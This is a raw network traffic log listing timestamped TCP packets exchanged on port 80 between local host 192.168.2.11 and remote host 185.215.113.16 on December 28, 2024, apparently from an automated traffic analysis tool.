Dec 28, 2024 09:48:55.818521976 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.818562031 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.818703890 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.819360971 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.819412947 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.819500923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.820240021 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.820283890 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.820307970 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.821115017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.821181059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.821222067 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.821985006 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.822036028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.822068930 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.822841883 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.822901011 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.822935104 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.823673964 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.823719025 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.823777914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.824575901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.824619055 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.824681044 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.825409889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.825458050 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.825582027 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.826275110 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.826369047 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.826391935 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.827172041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.827223063 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.827246904 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.827999115 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.828042984 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.828123093 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.829199076 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.829210997 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.829248905 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.829821110 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.829875946 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.829889059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.830617905 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.830666065 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.830694914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.831482887 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.831530094 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.831595898 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.832325935 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.832370043 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.832436085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.833235025 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.833286047 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.833292007 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.834074020 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.834115028 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.834171057 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.834930897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.835057974 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.835071087 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.835906982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.835969925 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.836028099 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.836663961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.836754084 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.836766005 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.837563992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.837614059 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.837671041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.837909937 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.838392973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.838439941 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.838500977 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.839287996 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.839380980 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.839426041 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.840126991 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.840169907 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.840234041 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.893085003 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.987317085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.987356901 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.987415075 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.987711906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.987898111 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.988070011 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.988581896 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.988689899 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.989301920 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.989382982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.989495993 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.989541054 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.990259886 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.990447998 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.990493059 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.991134882 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.991235018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.991280079 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.992013931 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.992114067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.992175102 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.992918015 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.992961884 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.993005037 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.993750095 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.993994951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.994040012 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.994601011 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.994682074 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.994726896 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.995460033 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.995527983 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.995584965 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.996290922 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.996411085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.996459961 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.997199059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.997360945 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.997419119 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.998065948 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.998245955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.998290062 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.998961926 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.999047995 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.999095917 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:55.999761105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.999897957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:55.999947071 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.000633955 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.000771046 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.000818968 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.001499891 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.001607895 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.001651049 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.002443075 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.002465963 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.002512932 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.003339052 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.003458023 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.003500938 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.004086018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.004225969 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.004316092 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.004950047 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.005054951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.005098104 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.005975962 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.006032944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.006697893 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.006751060 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.006786108 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.006905079 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.007549047 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.007666111 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.007705927 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.008490086 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.008527994 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.008569002 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.009283066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.009360075 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.009402990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.010160923 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.010181904 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.010226965 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.011035919 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.011096954 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.011151075 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.011881113 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.012012005 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.012074947 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.012773037 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.012823105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.012866974 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.013633013 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.013751030 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.013824940 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.014472008 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.014681101 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.014723063 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.015360117 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.015486956 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.015525103 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.016201973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.016319036 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.016360998 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.017083883 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.017211914 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.017258883 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.017900944 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.018052101 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.018110991 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.018801928 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.018935919 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.018980026 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.019671917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.019768000 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.019809008 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.020571947 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.020672083 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.020713091 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.021483898 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.021496058 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.021528959 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.022243023 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.022351027 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.022389889 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.022768974 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.023124933 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.023263931 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.024036884 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.024075985 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.024101973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.024291992 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.024902105 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.025044918 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.025084019 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.025741100 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.025877953 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.025924921 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.026609898 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.026690006 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.026732922 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.027458906 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.027574062 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.027618885 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.028419018 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.028528929 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.028573990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.029191017 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.029289961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.029334068 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.030044079 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.030172110 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.030219078 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.030905962 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.031033993 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.031083107 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.031778097 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.031826019 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.031892061 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.032295942 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.032612085 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.060306072 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.179266930 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.179347992 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.179456949 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.179583073 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.179775000 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.179826021 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.179883957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.180639982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.180687904 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.180710077 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.181502104 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.181536913 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.181602001 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.182351112 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.182393074 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.182452917 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.183259010 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.183348894 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.183448076 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.184103966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.184221029 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.184226990 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.184969902 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.185022116 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.185086966 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.185864925 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.185947895 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.185976982 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.186794996 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.186808109 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.186851025 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.187547922 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.187741995 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.187783003 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.188458920 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.188471079 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.188532114 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.189318895 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.189356089 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.189393997 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.190162897 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.190211058 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.190253019 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.191042900 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.191086054 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.191090107 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.191926003 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.191998005 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.192008018 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.192801952 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.192848921 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.192864895 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.193659067 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.193701982 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.193716049 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.194498062 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.194606066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.194694996 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.195386887 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.195436001 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.195478916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.196187973 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.196294069 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.196311951 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.197088957 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.197138071 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.197175026 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.197937965 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.197993994 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.198021889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.198817015 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.198955059 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.198998928 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.199697971 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.199785948 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.199839115 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.200540066 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.200675011 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.200706005 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.201412916 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.201464891 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.201503038 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.202313900 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.202353001 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.202366114 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.203129053 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.203171015 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.203239918 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.204039097 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.204087019 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.204149961 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.204896927 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.204951048 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.205091000 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.205746889 CET	80	49782	185.215.113.16	192.168.2.11
Dec 28, 2024 09:48:56.205821991 CET	49782	80	192.168.2.11	185.215.113.16
Dec 28, 2024 09:48:56.205876112 CET	80	49782	185.215.113.16	192.168.2.11
